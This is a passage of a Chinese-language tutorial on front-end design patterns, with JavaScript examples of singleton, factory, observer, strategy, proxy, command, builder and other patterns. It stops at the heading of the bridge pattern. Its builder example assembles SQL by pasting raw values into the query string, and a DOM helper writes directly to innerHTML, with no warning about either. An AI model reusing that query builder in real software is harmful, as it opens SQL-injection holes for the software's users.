重新学习前端之设计模式与架构

设计模式与架构


一、设计模式

1. 什么是设计模式?设计模式基础

定义

设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它不是具体的代码,而是解决特定问题的通用方案。

原理

设计模式源于建筑领域,1994 年 GoF(四人帮)在《设计模式:可复用面向对象软件的基础》一书中首次系统化地提出 23 种设计模式。核心思想是抽象出共性问题的通用解决方案,提高代码的可复用性、可读性和可维护性。

分类

分类 说明 包含模式
创建型 关注对象的创建过程,将对象的创建与使用分离 单例、工厂方法、抽象工厂、建造者、原型
结构型 关注类和对象的组合,通过组合获得更大的结构 适配器、装饰器、代理、桥接、组合、外观、享元
行为型 关注对象间的通信和职责分配 观察者、策略、命令、状态、模板方法、责任链、中介者、备忘录、迭代器

示例

以一个简单的场景说明:假设需要创建不同类型的通知(邮件、短信、推送),如果不使用设计模式,代码可能是大量的 if-else,使用工厂模式后可以将创建逻辑集中管理。

代码示例

javascript 复制代码
// 不使用设计模式
function sendNotification(type, message) {
  if (type === 'email') {
    // 发送邮件逻辑
  } else if (type === 'sms') {
    // 发送短信逻辑
  } else if (type === 'push') {
    // 发送推送逻辑
  }
}

// 使用工厂模式后
const notificationFactory = {
  email: () => new EmailNotification(),
  sms: () => new SmsNotification(),
  push: () => new PushNotification()
};

function sendNotification(type, message) {
  const notifier = notificationFactory[type]();
  notifier.send(message);
}

常见误区

  1. 设计模式不是银弹:不能生搬硬套,要根据实际场景选择
  2. 过度设计:简单问题用复杂模式反而增加复杂度
  3. 忽略语言特性:JavaScript 的函数式特性可以简化很多传统模式

2. 前端常见的设计模式有哪些及应用场景?

模式 应用场景 实际案例
单例模式 全局唯一实例 Vuex/Redux Store、路由实例、全局弹窗
工厂模式 创建同类型不同实例 创建不同类型的表单组件、创建不同类型的图表
观察者模式 一对多依赖关系 Vue 响应式系统、EventEmitter、DOM 事件
发布订阅模式 解耦的事件通信 跨组件通信、消息中间件、EventBus
策略模式 多种算法可替换 表单验证策略、支付策略、排序算法
代理模式 控制对象访问 Vue 3 响应式 Proxy、图片懒加载、API 代理
装饰器模式 动态增强功能 React 高阶组件、TypeScript 装饰器、函数增强
适配器模式 接口转换 统一不同第三方库的 API、旧接口兼容
模板方法模式 固定流程 表单提交流程、页面初始化流程
责任链模式 多级处理 中间件机制(Koa/Express)、权限校验链
建造者模式 复杂对象构建 表单构建器、图表配置构建
组合模式 树形结构 菜单组件、文件目录树、表单嵌套

3. 单例模式

定义

单例模式(Singleton Pattern)确保一个类只有一个实例,并提供一个全局访问点。

原理

通过私有化构造函数或使用闭包,控制实例的创建过程,保证只创建一个实例。

代码实现

javascript 复制代码
// 方式一:使用闭包实现
class Singleton {
  constructor(name) {
    this.name = name;
    this.instance = null;
  }
  
  getName() {
    return this.name;
  }
  
  static getInstance(name) {
    if (!this.instance) {
      this.instance = new Singleton(name);
    }
    return this.instance;
  }
}

const s1 = Singleton.getInstance('singleton1');
const s2 = Singleton.getInstance('singleton2');
console.log(s1 === s2); // true,同一个实例

// 方式二:使用 ES6 私有字段
class Singleton2 {
  static #instance = null;
  
  constructor() {
    if (Singleton2.#instance) {
      return Singleton2.#instance;
    }
    Singleton2.#instance = this;
  }
  
  static getInstance() {
    return new Singleton2();
  }
}

// 方式三:惰性单例(按需创建)
const createLazySingleton = (fn) => {
  let instance = null;
  return (...args) => {
    if (!instance) {
      instance = fn.apply(this, args);
    }
    return instance;
  };
};

// 使用
const createModal = () => document.createElement('div');
const getModal = createLazySingleton(createModal);
const modal1 = getModal();
const modal2 = getModal();
console.log(modal1 === modal2); // true

应用场景

  1. 全局状态管理:Vuex Store、Redux Store
  2. 全局弹窗/提示:确保同一时间只有一个弹窗实例
  3. 路由实例:Vue Router、React Router 单例
  4. 工具类实例:日志记录器、配置管理器

注意事项

  • 线程安全:JavaScript 是单线程,不存在线程安全问题
  • 测试困难:全局状态可能影响单元测试的隔离性
  • 内存泄漏:单例不会自动释放,需要注意清理

4. 工厂模式

简单工厂

定义:定义一个工厂函数/对象,根据传入的参数决定创建哪种类型的产品。

javascript 复制代码
// 简单工厂
class Notification {
  send() {}
}

class EmailNotification extends Notification {
  send(msg) { console.log('发送邮件:', msg); }
}

class SmsNotification extends Notification {
  send(msg) { console.log('发送短信:', msg); }
}

class PushNotification extends Notification {
  send(msg) { console.log('发送推送:', msg); }
}

// 工厂函数
function createNotification(type) {
  const types = {
    email: EmailNotification,
    sms: SmsNotification,
    push: PushNotification
  };
  
  if (!types[type]) throw new Error('未知的通知类型');
  return new types[type]();
}

const email = createNotification('email');
email.send('Hello');

缺点:新增类型需要修改工厂函数,违反开闭原则。


工厂方法

定义:将对象的创建延迟到子类中,每个子类决定实例化哪个类。

javascript 复制代码
// 工厂方法模式
class NotificationFactory {
  create() {
    throw new Error('子类必须实现此方法');
  }
  
  send(msg) {
    const notification = this.create();
    notification.send(msg);
  }
}

class EmailFactory extends NotificationFactory {
  create() { return new EmailNotification(); }
}

class SmsFactory extends NotificationFactory {
  create() { return new SmsNotification(); }
}

// 使用
const emailFactory = new EmailFactory();
emailFactory.send('Hello'); // 发送邮件: Hello

优点:符合开闭原则,新增类型只需新增工厂类。


抽象工厂

定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。

javascript 复制代码
// 抽象工厂:创建一组相关的 UI 组件
class UIFactory {
  createButton() { throw new Error('抽象方法'); }
  createInput() { throw new Error('抽象方法'); }
}

class WindowsUIFactory extends UIFactory {
  createButton() { return new WindowsButton(); }
  createInput() { return new WindowsInput(); }
}

class MacUIFactory extends UIFactory {
  createButton() { return new MacButton(); }
  createInput() { return new MacInput(); }
}

class WindowsButton { render() { return '<button class="win-btn"></button>'; } }
class MacButton { render() { return '<button class="mac-btn"></button>'; } }
class WindowsInput { render() { return '<input class="win-input"/>'; } }
class MacInput { render() { return '<input class="mac-input"/>'; } }

// 使用
const factory = new WindowsUIFactory();
const btn = factory.createButton();
console.log(btn.render()); // <button class="win-btn"></button>

三种工厂对比

维度 简单工厂 工厂方法 抽象工厂
结构复杂度
扩展性 差(修改工厂类) 好(新增工厂类) 好(新增工厂族)
适用场景 产品类型少 单一产品族 多个产品族
开闭原则 违反 符合 符合

选择策略

  • 产品类型固定且少 → 简单工厂
  • 需要扩展新产品类型 → 工厂方法
  • 需要创建一组相关产品 → 抽象工厂

5. 观察者模式

定义

观察者模式(Observer Pattern)定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。当主题对象状态发生变化时,会通知所有观察者。

原理

主题(Subject)维护一个观察者列表,当状态变化时遍历列表调用每个观察者的更新方法。

代码实现

javascript 复制代码
class Subject {
  constructor() {
    this.observers = [];
  }
  
  subscribe(observer) {
    this.observers.push(observer);
  }
  
  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  constructor(name) {
    this.name = name;
  }
  
  update(data) {
    console.log(`${this.name} 收到通知:`, data);
  }
}

// 使用
const subject = new Subject();
const observer1 = new Observer('观察者A');
const observer2 = new Observer('观察者B');

subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('数据更新');
// 观察者A 收到通知: 数据更新
// 观察者B 收到通知: 数据更新

subject.unsubscribe(observer1);
subject.notify('再次更新');
// 只有观察者B 收到通知

Vue 响应式中的应用

javascript 复制代码
// Vue 2 响应式原理简化版
function defineReactive(obj, key, val) {
  const dep = []; // 观察者列表
  
  Object.defineProperty(obj, key, {
    get() {
      // 收集依赖
      if (Dep.target && !dep.includes(Dep.target)) {
        dep.push(Dep.target);
      }
      return val;
    },
    set(newVal) {
      if (newVal !== val) {
        val = newVal;
        // 通知所有观察者
        dep.forEach(watcher => watcher.update());
      }
    }
  });
}

6. 发布订阅模式

定义

发布订阅模式(Pub-Sub Pattern)通过一个事件中心来解耦发布者和订阅者。发布者不直接通知订阅者,而是通过事件中心转发消息。

代码实现

javascript 复制代码
class EventEmitter {
  constructor() {
    this.events = {};
  }
  
  on(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
    return this; // 链式调用
  }
  
  off(event, callback) {
    if (!this.events[event]) return this;
    if (!callback) {
      delete this.events[event];
    } else {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
    return this;
  }
  
  emit(event, ...args) {
    if (!this.events[event]) return this;
    this.events[event].forEach(callback => callback.apply(this, args));
    return this;
  }
  
  once(event, callback) {
    const wrapper = (...args) => {
      callback.apply(this, args);
      this.off(event, wrapper);
    };
    this.on(event, wrapper);
    return this;
  }
}

// 使用
const bus = new EventEmitter();

bus.on('login', (user) => {
  console.log('用户登录:', user.name);
});

bus.on('login', (user) => {
  console.log('发送欢迎邮件给:', user.name);
});

bus.emit('login', { name: '张三' });
// 用户登录: 张三
// 发送欢迎邮件给: 张三

7. 观察者模式与发布订阅模式的区别

维度 观察者模式 发布订阅模式
耦合度 主题和观察者直接耦合 通过事件中心解耦
结构 主题知道观察者的存在 发布者和订阅者互不知道
通信方式 直接调用 update() 通过事件中心转发
灵活性 较低,关系固定 较高,动态订阅/取消
典型应用 Vue 响应式、DOM 事件 EventBus、Node.js EventEmitter

选择策略

  • 需要紧密耦合、直接通知 → 观察者模式
  • 需要解耦、灵活的事件通信 → 发布订阅模式

8. 策略模式

定义

策略模式(Strategy Pattern)定义一系列算法,将它们封装起来,使它们可以相互替换。

代码实现

javascript 复制代码
// 策略对象
const discountStrategies = {
  normal(price) { return price; },
  vip(price) { return price * 0.9; },
  svip(price) { return price * 0.7; },
  flashSale(price) { return price * 0.5; }
};

// 上下文
class PriceCalculator {
  constructor(strategy) {
    this.strategy = strategy;
  }
  
  calculate(price) {
    return this.strategy(price);
  }
  
  setStrategy(strategy) {
    this.strategy = strategy;
  }
}

// 使用
const calculator = new PriceCalculator(discountStrategies.normal);
console.log(calculator.calculate(100)); // 100

calculator.setStrategy(discountStrategies.vip);
console.log(calculator.calculate(100)); // 90

calculator.setStrategy(discountStrategies.flashSale);
console.log(calculator.calculate(100)); // 50

实战应用:表单验证

javascript 复制代码
const validators = {
  required: (value) => value ? '' : '不能为空',
  minLength: (value, min) => 
    value.length >= min ? '' : `最少需要${min}个字符`,
  isEmail: (value) => 
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? '' : '邮箱格式不正确',
  isPhone: (value) => 
    /^1[3-9]\d{9}$/.test(value) ? '' : '手机号格式不正确'
};

function validate(rules, value) {
  for (const rule of rules) {
    const { type, ...params } = rule;
    const error = validators[type](value, ...Object.values(params));
    if (error) return error;
  }
  return '';
}

// 使用
const rules = [
  { type: 'required' },
  { type: 'minLength', min: 6 },
  { type: 'isEmail' }
];

console.log(validate(rules, ''));        // 不能为空
console.log(validate(rules, 'abc'));     // 最少需要6个字符
console.log(validate(rules, 'abc@'));    // 邮箱格式不正确
console.log(validate(rules, 'a@b.com')); // '' 通过验证

优点

  • 避免大量 if-elseswitch
  • 算法可独立变化,符合开闭原则
  • 运行时可切换策略

9. 代理模式

定义

代理模式(Proxy Pattern)为其他对象提供一个代理以控制对这个对象的访问。

代码实现

javascript 复制代码
// 方式一:函数代理
function createProxy(target) {
  return new Proxy(target, {
    get(obj, prop) {
      console.log(`访问属性: ${prop}`);
      return prop in obj ? obj[prop] : undefined;
    },
    set(obj, prop, value) {
      console.log(`设置属性: ${prop} = ${value}`);
      obj[prop] = value;
      return true;
    }
  });
}

const user = createProxy({ name: '张三', age: 25 });
console.log(user.name); // 访问属性: name \n 张三
user.age = 26;          // 设置属性: age = 26

// 方式二:图片懒加载代理
class RealImage {
  constructor(src) {
    this.src = src;
    this.load();
  }
  load() { console.log('加载图片:', this.src); }
  display() { console.log('显示图片:', this.src); }
}

class ProxyImage {
  constructor(src) {
    this.src = src;
    this.realImage = null;
  }
  display() {
    if (!this.realImage) {
      this.realImage = new RealImage(this.src);
    }
    this.realImage.display();
  }
}

// 方式三:API 缓存代理
function createApiProxy(apiFn) {
  const cache = {};
  return async (...args) => {
    const key = JSON.stringify(args);
    if (cache[key]) {
      console.log('使用缓存');
      return cache[key];
    }
    const result = await apiFn(...args);
    cache[key] = result;
    return result;
  };
}

应用场景

  1. Vue 3 响应式:使用 Proxy 实现数据劫持
  2. 图片懒加载:延迟加载大图片
  3. API 缓存:缓存请求结果
  4. 访问控制:权限校验代理
  5. 日志记录:记录属性访问

10. 装饰器模式

定义

装饰器模式(Decorator Pattern)在不改变原对象的基础上,通过对其进行包装扩展,动态地给对象添加职责。

代码实现

javascript 复制代码
// 函数装饰器
function withLog(target) {
  return function(...args) {
    console.log('调用前:', args);
    const result = target.apply(this, args);
    console.log('调用后:', result);
    return result;
  };
}

function add(a, b) { return a + b; }
const addWithLog = withLog(add);
addWithLog(1, 2);
// 调用前: [1, 2]
// 调用后: 3

// 类方法装饰器(TypeScript 风格)
function readonly(target, key, descriptor) {
  descriptor.writable = false;
  return descriptor;
}

// 组合装饰
function withCache(ttl = 5000) {
  const cache = {};
  return function(target) {
    return function(...args) {
      const key = JSON.stringify(args);
      if (cache[key] && Date.now() - cache[key].time < ttl) {
        return cache[key].data;
      }
      const result = target.apply(this, args);
      cache[key] = { data: result, time: Date.now() };
      return result;
    };
  };
}

const expensiveCalc = (x) => {
  console.log('计算中...');
  return x * x;
};
const cachedCalc = withCache(3000)(expensiveCalc);

React 高阶组件(HOC)

javascript 复制代码
function withLoading(WrappedComponent) {
  return function WithLoadingComponent({ isLoading, ...props }) {
    if (isLoading) return <div>Loading...</div>;
    return <WrappedComponent {...props} />;
  };
}

// 使用
const EnhancedComponent = withLoading(MyComponent);

11. 适配器模式

定义

适配器模式(Adapter Pattern)将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而不能一起工作的类可以一起工作。

代码实现

javascript 复制代码
// 旧版 API
class OldMapService {
  getLocations() {
    return [
      { lat: 39.9, lon: 116.4, name: '北京' },
      { lat: 31.2, lon: 121.5, name: '上海' }
    ];
  }
}

// 新版需要格式:{ latitude, longitude, title }
class MapAdapter {
  constructor(oldService) {
    this.oldService = oldService;
  }
  
  getLocations() {
    const data = this.oldService.getLocations();
    return data.map(item => ({
      latitude: item.lat,
      longitude: item.lon,
      title: item.name
    }));
  }
}

// 使用
const oldService = new OldMapService();
const adapter = new MapAdapter(oldService);
console.log(adapter.getLocations());
// [{ latitude: 39.9, longitude: 116.4, title: '北京' }, ...]

// Axios 适配器示例
function axiosAdapter(config) {
  if (typeof config.adapter === 'function') {
    return config.adapter(config);
  }
  // 默认使用 XHR 或 fetch
  return fetch(config.url, {
    method: config.method,
    headers: config.headers,
    body: config.data
  });
}

应用场景

  1. 新旧 API 兼容
  2. 第三方库接口统一
  3. 数据格式转换

12. 外观模式

定义

外观模式(Facade Pattern)为子系统中的一组接口提供一个一致的界面,定义一个高层接口,使得子系统更加容易使用。

代码实现

javascript 复制代码
// 子系统
class CPU {
  start() { console.log('CPU 启动'); }
  execute() { console.log('CPU 执行'); }
}

class Memory {
  load() { console.log('内存加载数据'); }
  free() { console.log('内存释放'); }
}

class Disk {
  read() { console.log('磁盘读取'); }
  write() { console.log('磁盘写入'); }
}

// 外观类
class ComputerFacade {
  constructor() {
    this.cpu = new CPU();
    this.memory = new Memory();
    this.disk = new Disk();
  }
  
  start() {
    console.log('=== 电脑启动 ===');
    this.cpu.start();
    this.memory.load();
    this.disk.read();
    this.cpu.execute();
  }
  
  shutdown() {
    console.log('=== 电脑关机 ===');
    this.disk.write();
    this.memory.free();
    this.cpu.execute();
  }
}

// 使用
const computer = new ComputerFacade();
computer.start();
// === 电脑启动 ===
// CPU 启动
// 内存加载数据
// 磁盘读取
// CPU 执行

前端应用

javascript 复制代码
// jQuery 就是典型的 Facade
// $('#id').show() 背后封装了 DOM 操作、样式处理、动画等复杂逻辑

// DOM 操作外观
const DOM = {
  get(selector) { return document.querySelector(selector); },
  show(el) { el.style.display = 'block'; },
  hide(el) { el.style.display = 'none'; },
  on(el, event, handler) { el.addEventListener(event, handler); },
  html(el, content) { el.innerHTML = content; }
};

13. 命令模式

定义

命令模式(Command Pattern)将请求封装为对象,从而可以用不同的请求对客户进行参数化。

代码实现

javascript 复制代码
class Command {
  execute() {}
  undo() {}
}

class LightOnCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.on(); }
  undo() { this.light.off(); }
}

class LightOffCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.off(); }
  undo() { this.light.on(); }
}

class Light {
  on() { console.log('灯亮了'); }
  off() { console.log('灯灭了'); }
}

class RemoteControl {
  constructor() {
    this.commands = [];
    this.history = [];
  }
  
  setCommand(index, command) {
    this.commands[index] = command;
  }
  
  pressButton(index) {
    if (this.commands[index]) {
      this.commands[index].execute();
      this.history.push(this.commands[index]);
    }
  }
  
  undo() {
    if (this.history.length > 0) {
      const lastCommand = this.history.pop();
      lastCommand.undo();
    }
  }
}

// 使用
const light = new Light();
const remote = new RemoteControl();
remote.setCommand(0, new LightOnCommand(light));
remote.setCommand(1, new LightOffCommand(light));
remote.pressButton(0); // 灯亮了
remote.pressButton(1); // 灯灭了
remote.undo();          // 灯亮了

前端应用:撤销/重做

javascript 复制代码
class CommandManager {
  constructor() {
    this.undoStack = [];
    this.redoStack = [];
  }
  
  execute(command) {
    command.execute();
    this.undoStack.push(command);
    this.redoStack = [];
  }
  
  undo() {
    if (this.undoStack.length === 0) return;
    const command = this.undoStack.pop();
    command.undo();
    this.redoStack.push(command);
  }
  
  redo() {
    if (this.redoStack.length === 0) return;
    const command = this.redoStack.pop();
    command.execute();
    this.undoStack.push(command);
  }
}

14. 迭代器模式

定义

迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素,而不暴露其内部表示。

代码实现

javascript 复制代码
// 自定义迭代器
class BookCollection {
  constructor() {
    this.books = [];
  }
  
  addBook(book) {
    this.books.push(book);
  }
  
  [Symbol.iterator]() {
    let index = 0;
    const books = this.books;
    return {
      next() {
        if (index < books.length) {
          return { value: books[index++], done: false };
        }
        return { value: undefined, done: true };
      }
    };
  }
}

// 使用
const collection = new BookCollection();
collection.addBook('JavaScript 高级程序设计');
collection.addBook('设计模式');
collection.addBook('算法导论');

for (const book of collection) {
  console.log(book);
}

// 自定义迭代器:有限迭代
function createLimitedIterator(array, limit) {
  let index = 0;
  return {
    [Symbol.iterator]() {
      return {
        next() {
          if (index < array.length && index < limit) {
            return { value: array[index++], done: false };
          }
          return { done: true };
        }
      };
    }
  };
}

15. 中介者模式

定义

中介者模式(Mediator Pattern)用一个中介对象来封装一系列的对象交互,使各个对象不需要显式地相互引用。

代码实现

javascript 复制代码
class ChatRoom {
  constructor() {
    this.users = [];
  }
  
  addUser(user) {
    this.users.push(user);
    user.setMediator(this);
  }
  
  sendMessage(message, sender) {
    this.users
      .filter(user => user !== sender)
      .forEach(user => user.receiveMessage(message, sender));
  }
}

class User {
  constructor(name) {
    this.name = name;
    this.mediator = null;
  }
  
  setMediator(mediator) {
    this.mediator = mediator;
  }
  
  sendMessage(message) {
    console.log(`${this.name} 发送: ${message}`);
    this.mediator.sendMessage(message, this);
  }
  
  receiveMessage(message, sender) {
    console.log(`${this.name} 收到 ${sender.name}: ${message}`);
  }
}

// 使用
const room = new ChatRoom();
const alice = new User('Alice');
const bob = new User('Bob');
const charlie = new User('Charlie');

room.addUser(alice);
room.addUser(bob);
room.addUser(charlie);

alice.sendMessage('大家好!');
// Alice 发送: 大家好!
// Bob 收到 Alice: 大家好!
// Charlie 收到 Alice: 大家好!

应用场景

  1. 聊天室系统
  2. 表单组件联动
  3. 多个模块间的解耦

16. 备忘录模式

定义

备忘录模式(Memento Pattern)在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。

代码实现

javascript 复制代码
class Memento {
  constructor(state) {
    this.state = state;
  }
  getState() { return this.state; }
}

class Editor {
  constructor() {
    this.content = '';
  }
  
  type(text) {
    this.content += text;
  }
  
  getContent() { return this.content; }
  
  save() {
    return new Memento(this.content);
  }
  
  restore(memento) {
    this.content = memento.getState();
  }
}

class History {
  constructor() {
    this.mementos = [];
  }
  
  push(memento) {
    this.mementos.push(memento);
  }
  
  pop() {
    return this.mementos.pop();
  }
}

// 使用
const editor = new Editor();
const history = new History();

editor.type('第');
history.push(editor.save());

editor.type('一');
history.push(editor.save());

editor.type('行');
console.log(editor.getContent()); // 第一行

editor.restore(history.pop());
console.log(editor.getContent()); // 第一

editor.restore(history.pop());
console.log(editor.getContent()); // 第

17. 状态模式

定义

状态模式(State Pattern)允许一个对象在其内部状态改变时改变它的行为。

代码实现

javascript 复制代码
class State {
  constructor(name) { this.name = name; }
  handle(context) { throw new Error('抽象方法'); }
}

class OpenState extends State {
  constructor() { super('open'); }
  handle(context) {
    console.log('门已打开');
    context.setState(new ClosedState());
  }
}

class ClosedState extends State {
  constructor() { super('closed'); }
  handle(context) {
    console.log('门已关闭');
    context.setState(new LockedState());
  }
}

class LockedState extends State {
  constructor() { super('locked'); }
  handle(context) {
    console.log('门已锁定');
    context.setState(new OpenState());
  }
}

class Door {
  constructor() {
    this.state = new ClosedState();
  }
  
  setState(state) {
    this.state = state;
  }
  
  press() {
    this.state.handle(this);
  }
  
  getState() { return this.state.name; }
}

// 使用
const door = new Door();
door.press(); // 门已关闭
door.press(); // 门已锁定
door.press(); // 门已打开

// 实际应用:订单状态
const orderStates = {
  pending: {
    next: 'paid',
    actions: { pay: () => '付款' }
  },
  paid: {
    next: 'shipped',
    actions: { ship: () => '发货' }
  },
  shipped: {
    next: 'delivered',
    actions: { deliver: () => '签收' }
  },
  delivered: {
    next: null,
    actions: {}
  }
};

class Order {
  constructor() { this.state = 'pending'; }
  
  transition(action) {
    const currentState = orderStates[this.state];
    if (currentState.actions[action]) {
      console.log(currentState.actions[action]());
      if (currentState.next) {
        this.state = currentState.next;
        console.log(`订单状态变更为: ${this.state}`);
      }
    } else {
      console.log(`当前状态不能执行 ${action}`);
    }
  }
}

18. 模板方法模式

定义

模板方法模式(Template Method Pattern)定义一个操作中的算法骨架,将某些步骤延迟到子类中实现。

代码实现

javascript 复制代码
class Beverage {
  // 模板方法
  prepare() {
    this.boilWater();
    this.brew();
    this.pourInCup();
    this.addCondiments();
  }
  
  boilWater() { console.log('烧开水'); }
  pourInCup() { console.log('倒入杯中'); }
  
  brew() { throw new Error('子类必须实现'); }
  addCondiments() { throw new Error('子类必须实现'); }
}

class Coffee extends Beverage {
  brew() { console.log('冲泡咖啡'); }
  addCondiments() { console.log('加糖和牛奶'); }
}

class Tea extends Beverage {
  brew() { console.log('冲泡茶叶'); }
  addCondiments() { console.log('加柠檬'); }
}

// 使用
const coffee = new Coffee();
coffee.prepare();
// 烧开水
// 冲泡咖啡
// 倒入杯中
// 加糖和牛奶

// 前端应用:页面初始化流程
class PageInitializer {
  init() {
    this.loadConfig();
    this.initComponents();
    this.bindEvents();
    this.render();
  }
  
  loadConfig() { console.log('加载配置'); }
  initComponents() { console.log('初始化组件'); }
  bindEvents() { console.log('绑定事件'); }
  render() { console.log('渲染页面'); }
}

19. 责任链模式

定义

责任链模式(Chain of Responsibility Pattern)使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。

代码实现

javascript 复制代码
class Handler {
  constructor() {
    this.nextHandler = null;
  }
  
  setNext(handler) {
    this.nextHandler = handler;
    return handler;
  }
  
  handle(request) {
    if (this.nextHandler) {
      return this.nextHandler.handle(request);
    }
    return null;
  }
}

class AuthHandler extends Handler {
  handle(request) {
    if (!request.token) {
      return { success: false, message: '未认证' };
    }
    console.log('认证通过');
    return super.handle(request);
  }
}

class PermissionHandler extends Handler {
  handle(request) {
    if (!request.permissions.includes('admin')) {
      return { success: false, message: '权限不足' };
    }
    console.log('权限通过');
    return super.handle(request);
  }
}

class LogHandler extends Handler {
  handle(request) {
    console.log('记录日志:', request);
    return super.handle(request);
  }
}

class BusinessHandler extends Handler {
  handle(request) {
    console.log('处理业务逻辑');
    return { success: true, data: '业务数据' };
  }
}

// 使用
const auth = new AuthHandler();
const permission = new PermissionHandler();
const log = new LogHandler();
const business = new BusinessHandler();

auth.setNext(permission).setNext(log).setNext(business);

const result = auth.handle({
  token: 'valid-token',
  permissions: ['admin', 'user']
});
// 认证通过
// 权限通过
// 记录日志: { token: 'valid-token', permissions: [ 'admin', 'user' ] }
// 处理业务逻辑
// { success: true, data: '业务数据' }

// Koa 中间件示例
function compose(middlewares) {
  return function(ctx) {
    function dispatch(index) {
      if (index >= middlewares.length) return Promise.resolve();
      const middleware = middlewares[index];
      return Promise.resolve(middleware(ctx, () => dispatch(index + 1)));
    }
    return dispatch(0);
  };
}

20. 享元模式

定义

享元模式(Flyweight Pattern)运用共享技术有效地支持大量细粒度的对象。

代码实现

javascript 复制代码
class FlyweightFactory {
  constructor() {
    this.flyweights = {};
  }
  
  get(key) {
    if (!this.flyweights[key]) {
      this.flyweights[key] = this.createFlyweight(key);
    }
    return this.flyweights[key];
  }
  
  createFlyweight(key) {
    return { type: key, shared: true };
  }
  
  getCount() {
    return Object.keys(this.flyweights).length;
  }
}

// 实际应用:DOM 对象池
class DOMPool {
  constructor() {
    this.pools = {};
  }
  
  getElement(tagName) {
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    const element = this.pools[tagName].pop();
    return element || document.createElement(tagName);
  }
  
  releaseElement(element) {
    const tagName = element.tagName.toLowerCase();
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    element.innerHTML = '';
    element.className = '';
    this.pools[tagName].push(element);
  }
}

// 实际应用:图标缓存
const iconCache = {};
function getIcon(name) {
  if (!iconCache[name]) {
    iconCache[name] = `<svg class="icon icon-${name}">...</svg>`;
  }
  return iconCache[name];
}

21. 建造者模式

定义

建造者模式(Builder Pattern)将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。

代码实现

javascript 复制代码
class Form {
  constructor() {
    this.fields = [];
    this.title = '';
    this.action = '';
    this.method = 'POST';
  }
  
  setTitle(title) { this.title = title; return this; }
  setAction(action) { this.action = action; return this; }
  setMethod(method) { this.method = method; return this; }
  addField(field) { this.fields.push(field); return this; }
  
  build() {
    return {
      title: this.title,
      action: this.action,
      method: this.method,
      fields: this.fields
    };
  }
}

// 使用
const loginForm = new Form()
  .setTitle('登录')
  .setAction('/api/login')
  .setMethod('POST')
  .addField({ name: 'username', type: 'text', required: true })
  .addField({ name: 'password', type: 'password', required: true })
  .build();

console.log(loginForm);
// {
//   title: '登录',
//   action: '/api/login',
//   method: 'POST',
//   fields: [
//     { name: 'username', type: 'text', required: true },
//     { name: 'password', type: 'password', required: true }
//   ]
// }

// 链式调用构建查询参数
class QueryBuilder {
  constructor(table) {
    this.table = table;
    this.conditions = [];
    this._orderBy = '';
    this._limit = 0;
  }
  
  where(field, operator, value) {
    this.conditions.push(`${field} ${operator} '${value}'`);
    return this;
  }
  
  orderBy(field, direction = 'ASC') {
    this._orderBy = `ORDER BY ${field} ${direction}`;
    return this;
  }
  
  limit(n) {
    this._limit = `LIMIT ${n}`;
    return this;
  }
  
  build() {
    let sql = `SELECT * FROM ${this.table}`;
    if (this.conditions.length) {
      sql += ` WHERE ${this.conditions.join(' AND ')}`;
    }
    if (this._orderBy) sql += ` ${this._orderBy}`;
    if (this._limit) sql += ` ${this._limit}`;
    return sql;
  }
}

const query = new QueryBuilder('users')
  .where('age', '>', 18)
  .where('status', '=', 'active')
  .orderBy('created_at', 'DESC')
  .limit(10)
  .build();

console.log(query);
// SELECT * FROM users WHERE age > '18' AND status = 'active' ORDER BY created_at DESC LIMIT 10

22. 原型模式

定义

原型模式(Prototype Pattern)用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。

代码实现

javascript 复制代码
class Prototype {
  constructor() {
    this.objects = {};
  }
  
  register(name, obj) {
    this.objects[name] = obj;
  }
  
  clone(name) {
    if (!this.objects[name]) {
      throw new Error(`未找到原型对象: ${name}`);
    }
    return JSON.parse(JSON.stringify(this.objects[name]));
  }
}

// 使用
const proto = new Prototype();
proto.register('user', {
  name: '匿名用户',
  age: 0,
  role: 'user',
  permissions: []
});

const user1 = proto.clone('user');
user1.name = '张三';
user1.age = 25;

const user2 = proto.clone('user');
user2.name = '李四';
user2.age = 30;

console.log(user1.name); // 张三
console.log(user2.name); // 李四

// Object.create 原型模式
const shape = {
  type: 'shape',
  color: 'red',
  draw() { console.log(`画一个${this.color}的${this.type}`); }
};

const circle = Object.create(shape);
circle.type = '圆形';
circle.color = '蓝色';
circle.draw(); // 画一个蓝色的圆形

23. 组合模式

定义

组合模式(Composite Pattern)将对象组合成树形结构以表示"部分-整体"的层次结构。

代码实现

javascript 复制代码
class Component {
  constructor(name) {
    this.name = name;
    this.children = [];
  }
  
  add(component) {
    this.children.push(component);
    return this;
  }
  
  remove(component) {
    this.children = this.children.filter(c => c !== component);
  }
  
  operation(indent = 0) {
    const prefix = '  '.repeat(indent);
    console.log(`${prefix}${this.name}`);
    this.children.forEach(child => child.operation(indent + 1));
  }
}

// 使用:文件系统
const root = new Component('根目录');
const documents = new Component('文档');
const pictures = new Component('图片');
const report = new Component('报告.doc');
const photo = new Component('photo.jpg');

root.add(documents).add(pictures);
documents.add(report);
pictures.add(photo);

root.operation();
// 根目录
//   文档
//     报告.doc
//   图片
//     photo.jpg

// 使用:菜单组件
const menu = new Component('菜单');
const fileMenu = new Component('文件');
const editMenu = new Component('编辑');
const newFile = new Component('新建');
const openFile = new Component('打开');

menu.add(fileMenu).add(editMenu);
fileMenu.add(newFile).add(openFile);

menu.operation();

24. 桥接模式

定义

